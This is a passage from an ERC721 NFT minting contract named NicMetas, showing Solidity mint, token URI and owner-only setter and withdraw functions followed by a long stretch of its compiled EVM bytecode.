require(_isSaleActive, "Sale must be active to mint NicMetas"); require( balanceOf(msg.sender) + tokenQuantity <= maxBalance, "Sale would exceed max balance" ); require( tokenQuantity * mintPrice <= msg.value, "Not enough ether sent" ); require(tokenQuantity <= maxMint, "Can only mint 1 tokens at a time"); _mintMeta(tokenQuantity); } function _mintMeta(uint256 tokenQuantity) internal { for (uint256 i = 0; i < tokenQuantity; i++) { uint256 mintIndex = totalSupply(); if (totalSupply() < MAX_SUPPLY) { _safeMint(msg.sender, mintIndex); } } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (_revealed == false) { return notRevealedUri; } string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString(), baseExtension)); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } //only owner function flipSaleActive() public onlyOwner { _isSaleActive = !_isSaleActive; } function flipReveal() public onlyOwner { _revealed = !_revealed; } function setMintPrice(uint256 _mintPrice) public onlyOwner { mintPrice = _mintPrice; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setMaxBalance(uint256 _maxBalance) public onlyOwner { maxBalance = _maxBalance; } function setMaxMint(uint256 _maxMint) public onlyOwner { maxMint = _maxMint; } function withdraw(address to) public onlyOwner { uint256 balance = address(this).balance; payable(to).transfer(balance); } }
0x60806040526004361061021a5760003560e01c80636ebeac8511610123578063a22cb465116100ab578063de8b51e11161006f578063de8b51e1146107b2578063e985e9c5146107c9578063f2c4ce1e14610806578063f2fde38b1461082f578063f4a0a528146108585761021a565b8063a22cb465146106cf578063b88d4fde146106f8578063c668286214610721578063c87b56dd1461074c578063da3ef23f146107895761021a565b806373ad468a116100f257806373ad468a146105fa5780637501f741146106255780638da5cb5b1461065057806395d89b411461067b5780639d51d9b7146106a65761021a565b80636ebeac85146105505780637080d6fc1461057b57806370a08231146105a6578063715018a6146105e35761021a565b80633b84d9c6116101a65780635216e1d6116101755780635216e1d61461047a578063547520fe1461049657806355f804b3146104bf5780636352211e146104e85780636817c76c146105255761021a565b80633b84d9c6146103d457806342842e0e146103eb5780634f6ccce71461041457806351cff8d9146104515761021a565b8063095ea7b3116101ed578063095ea7b3146102ef57806318160ddd1461031857806323b872dd146103435780632f745c591461036c57806332cb6b0c146103a95761021a565b806301ffc9a71461021f57806306fdde031461025c578063081812fc14610287578063081c8c44146102c4575b600080fd5b34801561022b57600080fd5b5061024660048036038101906102419190613277565b610881565b6040516102539190613877565b60405180910390f35b34801561026857600080fd5b506102716108fb565b60405161027e9190613892565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a9919061331a565b61098d565b6040516102bb9190613810565b60405180910390f35b3480156102d057600080fd5b506102d9610a12565b6040516102e69190613892565b60405180910390f35b3480156102fb57600080fd5b5061031660048036038101906103119190613237565b610aa0565b005b34801561032457600080fd5b5061032d610bb8565b60405161033a9190613b94565b60405180910390f35b34801561034f57600080fd5b5061036a60048036038101906103659190613121565b610bc5565b005b34801561037857600080fd5b50610393600480360381019061038e9190613237565b610c25565b6040516103a09190613b94565b60405180910390f35b3480156103b557600080fd5b506103be610cca565b6040516103cb9190613b94565b60405180910390f35b3480156103e057600080fd5b506103e9610cd0565b005b3480156103f757600080fd5b50610412600480360381019061040d9190613121565b610d78565b005b34801561042057600080fd5b5061043b6004803603810190610436919061331a565b610d98565b6040516104489190613b94565b60405180910390f35b34801561045d57600080fd5b50610478600480360381019061047391906130b4565b610e09565b005b610494600480360381019061048f919061331a565b610ed5565b005b3480156104a257600080fd5b506104bd60048036038101906104b8919061331a565b611074565b005b3480156104cb57600080fd5b506104e660048036038101906104e191906132d1565b6110fa565b005b3480156104f457600080fd5b5061050f600480360381019061050a919061331a565b611190565b60405161051c9190613810565b60405180910390f35b34801561053157600080fd5b5061053a611242565b6040516105479190613b94565b60405180910390f35b34801561055c57600080fd5b50610565611248565b6040516105729190613877565b60405180910390f35b34801561058757600080fd5b5061059061125b565b60405161059d9190613877565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c891906130b4565b61126e565b6040516105da9190613b94565b60405180910390f35b3480156105ef57600080fd5b506105f8611326565b005b34801561060657600080fd5b5061060f6113ae565b60405161061c9190613b94565b60405180910390f35b34801561063157600080fd5b5061063a6113b4565b6040516106479190613b94565b60405180910390f35b34801561065c57600080fd5b506106656113ba565b6040516106729190613810565b60405180910390f35b34801561068757600080fd5b506106906113e4565b60405161069d9190613892565b60405180910390f35b3480156106b257600080fd5b506106cd60048036038101906106c8919061331a565b611476565b005b3480156106db57600080fd5b506106f660048036038101906106f191906131f7565b6114fc565b005b34801561070457600080fd5b5061071f600480360381019061071a9190613174565b611512565b005b34801561072d57600080fd5b50610736611574565b6040516107439190613892565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e919061331a565b611602565b6040516107809190613892565b60405180910390f35b34801561079557600080fd5b506107b060048036038101906107ab91906132d1565b611826565b005b3480156107be57600080fd5b506107c76118bc565b005b3480156107d557600080fd5b506107f060048036038101906107eb91906130e1565b611964565b6040516107fd9190613877565b60405180910390f35b34801561081257600080fd5b5061082d600480360381019061082891906132d1565b6119f8565b005b34801561083b57600080fd5b50610856600480360381019061085191906130b4565b611a8e565b005b34801561086457600080fd5b5061087f600480360381019061087a919061331a565b611b86565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108f457506108f382611c0c565b5b9050919050565b60606000805461090a90613e59565b80601f016020809104026020016040519081016040528092919081815260200182805461093690613e59565b80156109835780601f1061095857610100808354040283529160200191610983565b820191906000526020600020905b81548152906001019060200180831161096657829003601f168201915b5050505050905090565b600061099882611cee565b6109d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ce90613ab4565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600f8054610a1f90613e59565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4b90613e59565b8015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b505050505081565b6000610aab82611190565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390613b14565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b3b611d5a565b73ffffffffffffffffffffffffffffffffffffffff161480610b6a5750610b6981610b64611d5a565b611964565b5b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090613a34565b60405180910390fd5b610bb38383611d62565b505050565b6000600880549050905090565b610bd6610bd0611d5a565b82611e1b565b610c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0c90613b34565b60405180910390fd5b610c20838383611ef9565b505050565b6000610c308361126e565b8210610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c68906138d4565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b611e6181565b610cd8611d5a565b73ffffffffffffffffffffffffffffffffffffffff16610cf66113ba565b73ffffffffffffffffffffffffffffffffffffffff1614610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4390613ad4565b60405180910390fd5b600a60159054906101000a900460ff1615600a60156101000a81548160ff021916908315150217905550565b610d9383838360405180602001604052806000815250611512565b505050565b6000610da2610bb8565b8210610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda90613b54565b60405180910390fd5b60088281548110610df757610df6613ff2565b5b90600052602060002001549050919050565b610e11611d5a565b73ffffffffffffffffffffffffffffffffffffffff16610e2f6113ba565b73ffffffffffffffffffffffffffffffffffffffff1614610e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7c90613ad4565b60405180910390fd5b60004790508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ed0573d6000803e3d6000fd5b505050565b611e6181610ee1610bb8565b610eeb9190613c8e565b1115610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390613974565b60405180910390fd5b600a60149054906101000a900460ff16610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f72906138b4565b60405180910390fd5b600c5481610f883361126e565b610f929190613c8e565b1115610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca90613a14565b60405180910390fd5b34600b5482610fe29190613d15565b1115611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90613b74565b60405180910390fd5b600d54811115611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f906139f4565b60405180910390fd5b61107181612160565b50565b61107c611d5a565b73ffffffffffffffffffffffffffffffffffffffff1661109a6113ba565b73ffffffffffffffffffffffffffffffffffffffff16146110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e790613ad4565b60405180910390fd5b80600d8190555050565b611102611d5a565b73ffffffffffffffffffffffffffffffffffffffff166111206113ba565b73ffffffffffffffffffffffffffffffffffffffff1614611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90613ad4565b60405180910390fd5b80600e908051906020019061118c929190612ec8565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090613a74565b60405180910390fd5b80915050919050565b600b5481565b600a60159054906101000a900460ff1681565b600a60149054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690613a54565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61132e611d5a565b73ffffffffffffffffffffffffffffffffffffffff1661134c6113ba565b73ffffffffffffffffffffffffffffffffffffffff16146113a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139990613ad4565b60405180910390fd5b6113ac60006121ab565b565b600c5481565b600d5481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546113f390613e59565b80601f016020809104026020016040519081016040528092919081815260200182805461141f90613e59565b801561146c5780601f106114415761010080835404028352916020019161146c565b820191906000526020600020905b81548152906001019060200180831161144f57829003601f168201915b5050505050905090565b61147e611d5a565b73ffffffffffffffffffffffffffffffffffffffff1661149c6113ba565b73ffffffffffffffffffffffffffffffffffffffff16146114f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e990613ad4565b60405180910390fd5b80600c8190555050565b61150e611507611d5a565b8383612271565b5050565b61152361151d611d5a565b83611e1b565b611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990613b34565b60405180910390fd5b61156e848484846123de565b50505050565b6010805461158190613e59565b80601f01602080910402602001604051908101604052809291908181526020018280546115ad90613e59565b80156115fa5780601f106115cf576101008083540402835291602001916115fa565b820191906000526020600020905b8154815290600101906020018083116115dd57829003601f168201915b505050505081565b606061160d82611cee565b61164c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164390613af4565b60405180910390fd5b60001515600a60159054906101000a900460ff16151514156116fa57600f805461167590613e59565b80601f01602080910402602001604051908101604052809291908181526020018280546116a190613e59565b80156116ee5780601f106116c3576101008083540402835291602001916116ee565b820191906000526020600020905b8154815290600101906020018083116116d157829003601f168201915b50505050509050611821565b600060116000848152602001908152602001600020805461171a90613e59565b80601f016020809104026020016040519081016040528092919081815260200182805461174690613e59565b80156117935780601f1061176857610100808354040283529160200191611793565b820191906000526020600020905b81548152906001019060200180831161177657829003601f168201915b5050505050905060006117a461243a565b90506000815114156117ba578192505050611821565b6000825111156117ef5780826040516020016117d79291906137bb565b60405160208183030381529060405292505050611821565b806117f9856124cc565b601060405160200161180d939291906137df565b604051602081830303815290604052925050505b919050565b61182e611d5a565b73ffffffffffffffffffffffffffffffffffffffff1661184c6113ba565b73ffffffffffffffffffffffffffffffffffffffff16146118a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189990613ad4565b60405180910390fd5b80601090805190602001906118b8929190612ec8565b5050565b6118c4611d5a565b73ffffffffffffffffffffffffffffffffffffffff166118e26113ba565b73ffffffffffffffffffffffffffffffffffffffff1614611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f90613ad4565b60405180910390fd5b600a60149054906101000a900460ff1615600a60146101000a81548160ff021916908315150217905550565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a00611d5a565b73ffffffffffffffffffffffffffffffffffffffff16611a1e6113ba565b73ffffffffffffffffffffffffffffffffffffffff1614611a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6b90613ad4565b60405180910390fd5b80600f9080519060200190611a8a929190612ec8565b5050565b611a96611d5a565b73ffffffffffffffffffffffffffffffffffffffff16611ab46113ba565b73ffffffffffffffffffffffffffffffffffffffff1614611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0190613ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7190613914565b60405180910390fd5b611b83816121ab565b50565b611b8e611d5a565b73ffffffffffffffffffffffffffffffffffffffff16611bac6113ba565b73ffffffffffffffffffffffffffffffffffffffff1614611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990613ad4565b60405180910390fd5b80600b8190555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611cd757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611ce75750611ce68261262d565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611dd583611190565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e2682611cee565b611e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5c906139d4565b60405180910390fd5b6000611e7083611190565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611edf57508373ffffffffffffffffffffffffffffffffffffffff16611ec78461098d565b73ffffffffffffffffffffffffffffffffffffffff16145b80611ef05750611eef8185611964565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f1982611190565b73ffffffffffffffffffffffffffffffffffffffff1614611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690613934565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd690613994565b60405180910390fd5b611fea838383612697565b611ff5600082611d62565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120459190613d6f565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461209c9190613c8e565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461215b8383836127ab565b505050565b60005b818110156121a7576000612175610bb8565b9050611e61612182610bb8565b10156121935761219233826127b0565b5b50808061219f90613ebc565b915050612163565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d7906139b4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516123d19190613877565b60405180910390a3505050565b6123e9848484611ef9565b6123f5848484846127ce565b612434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242b906138f4565b60405180910390fd5b50505050565b6060600e805461244990613e59565b80601f016020809104026020016040519081016040528092919081815260200182805461247590613e59565b80156124c25780601f10612497576101008083540402835291602001916124c2565b820191906000526020600020905b8154815290600101906020018083116124a557829003601f168201915b5050505050905090565b60606000821415612514576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612628565b600082905060005b6000821461254657808061252f90613ebc565b915050600a8261253f9190613ce4565b915061251c565b60008167ffffffffffffffff81111561256257612561614021565b5b6040519080825280601f01601f1916602001820160405280156125945781602001600182028036833780820191505090505b5090505b60008514612621576001826125ad9190613d6f565b9150600a856125bc9190613f05565b60306125c89190613c8e565b60f81b8183815181106125de576125dd613ff2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561261a9190613ce4565b9450612598565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6126a2838383612965565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126e5576126e08161296a565b612724565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146127235761272283826129b3565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127675761276281612b20565b6127a6565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146127a5576127a48282612bf1565b5b5b505050565b505050565b6127ca828260405180602001604052806000815250612c70565b5050565b60006127ef8473ffffffffffffffffffffffffffffffffffffffff16612ccb565b15612958578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612818611d5a565b8786866040518563ffffffff1660e01b815260040161283a949392919061382b565b602060405180830381600087803b15801561285457600080fd5b505af192505050801561288557506040513d601f19601f8201168201806040525081019061288291906132a4565b60015b612908573d80600081146128b5576040519150601f19603f3d011682016040523d82523d6000602084013e6128ba565b606091505b50600081511415612900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f7906138f4565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061295d565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016129c08461126e565b6129ca9190613d6f565b9050600060076000848152602001908152602001600020549050818114612aaf576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612b349190613d6f565b9050600060096000848152602001908152602001600020549050600060088381548110612b6457612b63613ff2565b5b906000526020600020015490508060088381548110612b8657612b85613ff2565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612bd557612bd4613fc3565b5b6001900381819060005260206000200160009055905550505050565b6000612bfc8361126e565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b612c7a8383612cee565b612c8760008484846127ce565b612cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cbd906138f4565b60405180910390fd5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5590613a94565b60405180910390fd5b612d6781611cee565b15612da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9e90613954565b60405180910390fd5b612db360008383612697565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e039190613c8e565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612ec4600083836127ab565b5050565b828054612ed490613e59565b90600052602060002090601f016020900481019282612ef65760008555612f3d565b82601f10612f0f57805160ff1916838001178555612f3d565b82800160010185558215612f3d579182015b82811115612f3c578251825591602001919060010190612f21565b5b509050612f4a9190612f4e565b5090565b5b80821115612f67576000816000905550600101612f4f565b5090565b6000612f7e612f7984613bd4565b613baf565b905082815260208101848484011115612f9a57612f99614055565b5b612fa5848285613e17565b509392505050565b6000612fc0612fbb84613c05565b613baf565b905082815260208101848484011115612fdc57612fdb614055565b5b612fe7848285613e17565b509392505050565b600081359050612ffe8161465e565b92915050565b60008135905061301381614675565b92915050565b6000813590506130288161468c565b92915050565b60008151905061303d8161468c565b92915050565b600082601f83011261305857613057614050565b5b8135613068848260208601612f6b565b91505092915050565b600082601f83011261308657613085614050565b5b8135613096848260208601612fad565b91505092915050565b6000813590506130ae816146a3565b92915050565b6000602082840312156130ca576130c961405f565b5b60006130d884828501612fef565b91505092915050565b600080604083850312156130f8576130f761405f565b5b600061310685828601612fef565b925050602061311785828601612fef565b9150509250929050565b60008060006060848603121561313a5761313961405f565b5b600061314886828701612fef565b935050602061315986828701612fef565b925050604061316a8682870161309f565b9150509250925092565b6000806000806080858703121561318e5761318d61405f565b5b600061319c87828801612fef565b94505060206131ad87828801612fef565b93505060406131be8782880161309f565b925050606085013567ffffffffffffffff8111156131df576131de61405a565b5b6131eb87828801613043565b91505092959194509250565b6000806040838503121561320e5761320d61405f565b5b600061321c85828601612fef565b925050602061322d85828601613004565b9150509250929050565b6000806040838503121561324e5761324d61405f565b5b600061325c85828601612fef565b925050602061326d8582860161309f565b9150509250929050565b60006020828403121561328d5761328c61405f565b5b600061329b84828501613019565b91505092915050565b6000602082840312156132ba576132b961405f565b5b60006132c88482850161302e565b91505092915050565b6000602082840312156132e7576132e661405f565b5b600082013567ffffffffffffffff8111156133055761330461405a565b5b61331184828501613071565b91505092915050565b6000602082840312156133305761332f61405f565b5b600061333e8482850161309f565b91505092915050565b61335081613da3565b82525050565b61335f81613db5565b82525050565b600061337082613c4b565b61337a8185613c61565b935061338a818560208601613e26565b61339381614064565b840191505092915050565b60006133a982613c56565b6133b38185613c72565b93506133c3818560208601613e26565b6133cc81614064565b840191505092915050565b60006133e282613c56565b6133ec8185613c83565b93506133fc818560208601613e26565b80840191505092915050565b6000815461341581613e59565b61341f8186613c83565b9450600182166000811461343a576001811461344b5761347e565b60ff1983168652818601935061347e565b61345485613c36565b60005b8381101561347657815481890152600182019150602081019050613457565b838801955050505b50505092915050565b6000613494602483613c72565b915061349f82614075565b604082019050919050565b60006134b7602b83613c72565b91506134c2826140c4565b604082019050919050565b60006134da603283613c72565b91506134e582614113565b604082019050919050565b60006134fd602683613c72565b915061350882614162565b604082019050919050565b6000613520602583613c72565b915061352b826141b1565b604082019050919050565b6000613543601c83613c72565b915061354e82614200565b602082019050919050565b6000613566601c83613c72565b915061357182614229565b602082019050919050565b6000613589602483613c72565b915061359482614252565b604082019050919050565b60006135ac601983613c72565b91506135b7826142a1565b602082019050919050565b60006135cf602c83613c72565b91506135da826142ca565b604082019050919050565b60006135f2602083613c72565b91506135fd82614319565b602082019050919050565b6000613615601d83613c72565b915061362082614342565b602082019050919050565b6000613638603883613c72565b91506136438261436b565b604082019050919050565b600061365b602a83613c72565b9150613666826143ba565b604082019050919050565b600061367e602983613c72565b915061368982614409565b604082019050919050565b60006136a1602083613c72565b91506136ac82614458565b602082019050919050565b60006136c4602c83613c72565b91506136cf82614481565b604082019050919050565b60006136e7602083613c72565b91506136f2826144d0565b602082019050919050565b600061370a602f83613c72565b9150613715826144f9565b604082019050919050565b600061372d602183613c72565b915061373882614548565b604082019050919050565b6000613750603183613c72565b915061375b82614597565b604082019050919050565b6000613773602c83613c72565b915061377e826145e6565b604082019050919050565b6000613796601583613c72565b91506137a182614635565b602082019050919050565b6137b581613e0d565b82525050565b60006137c782856133d7565b91506137d382846133d7565b91508190509392505050565b60006137eb82866133d7565b91506137f782856133d7565b91506138038284613408565b9150819050949350505050565b60006020820190506138256000830184613347565b92915050565b60006080820190506138406000830187613347565b61384d6020830186613347565b61385a60408301856137ac565b818103606083015261386c8184613365565b905095945050505050565b600060208201905061388c6000830184613356565b92915050565b600060208201905081810360008301526138ac818461339e565b905092915050565b600060208201905081810360008301526138cd81613487565b9050919050565b600060208201905081810360008301526138ed816134aa565b9050919050565b6000602082019050818103600083015261390d816134cd565b9050919050565b6000602082019050818103600083015261392d816134f0565b9050919050565b6000602082019050818103600083015261394d81613513565b9050919050565b6000602082019050818103600083015261396d81613536565b9050919050565b6000602082019050818103600083015261398d81613559565b9050919050565b600060208201905081810360008301526139ad8161357c565b9050919050565b600060208201905081810360008301526139cd8161359f565b9050919050565b600060208201905081810360008301526139ed816135c2565b9050919050565b60006020820190508181036000830152613a0d816135e5565b9050919050565b60006020820190508181036000830152613a2d81613608565b9050919050565b60006020820190508181036000830152613a4d8161362b565b9050919050565b60006020820190508181036000830152613a6d8161364e565b9050919050565b60006020820190508181036000830152613a8d81613671565b9050919050565b60006020820190508181036000830152613aad81613694565b9050919050565b60006020820190508181036000830152613acd816136b7565b9050919050565b60006020820190508181036000830152613aed816136da565b9050919050565b60006020820190508181036000830152613b0d816136fd565b9050919050565b60006020820190508181036000830152613b2d81613720565b9050919050565b60006020820190508181036000830152613b4d81613743565b9050919050565b60006020820190508181036000830152613b6d81613766565b9050919050565b60006020820190508181036000830152613b8d81613789565b9050919050565b6000602082019050613ba960008301846137ac565b92915050565b6000613bb9613bca565b9050613bc58282613e8b565b919050565b6000604051905090565b600067ffffffffffffffff821115613bef57613bee614021565b5b613bf882614064565b9050602081019050919050565b600067ffffffffffffffff821115613c2057613c1f614021565b5b613c2982614064565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613c9982613e0d565b9150613ca483613e0d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cd957613cd8613f36565b5b828201905092915050565b6000613cef82613e0d565b9150613cfa83613e0d565b925082613d0a57613d09613f65565b5b828204905092915050565b6000613d2082613e0d565b9150613d2b83613e0d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d6457613d63613f36565b5b828202905092915050565b6000613d7a82613e0d565b9150613d8583613e0d565b925082821015613d9857613d97613f36565b5b828203905092915050565b6000613dae82613ded565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff8216905091905056